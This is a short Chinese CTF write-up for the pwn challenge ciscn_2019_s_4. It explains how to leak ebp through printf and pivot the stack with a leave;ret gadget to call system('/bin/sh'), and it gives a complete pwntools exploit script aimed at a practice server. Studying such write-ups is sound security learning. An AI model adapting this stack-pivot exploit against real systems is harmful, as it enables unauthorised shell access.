ciscn_2019_s_4
查看保护
有栈溢出啊,但是空间太小了,所以需要栈迁移一下。
栈迁移用leave ret这个gadget来让ebp, esp放到我们需要的地方
这里把栈迁移到s这里。所以得知道s的地址。这个时候需要借助printf打印来打印出地址。
有了ebp,s就-0x38。有system没有/bin/sh,所以将/bin/sh写进s里然后借助leave ret这个gadget让程序执行system(’/bin/sh’)即可。具体的栈迁移知识点看看其他大佬的文章吧。
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25201)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p1 = b'a' * 0x27 + b'b'
r.send(p1)
r.recvuntil('aaaab')
ebp = u32(r.recv(4))
success('ebp = ' + hex(ebp))
buf_addr = ebp - 0x38
success('buf_addr = ' + hex(buf_addr))
leave_ret = 0x80485FD
system_plt = elf.plt['system']
p1 = p32(system_plt) + b'a' * 4 + p32(buf_addr + 12) + b'/bin/sh\x00'
p1 = p1.ljust(0x28, b'\x00')
p2 = p1 + p32(buf_addr - 4) + p32(leave_ret)
r.sendline(p2)
r.interactive()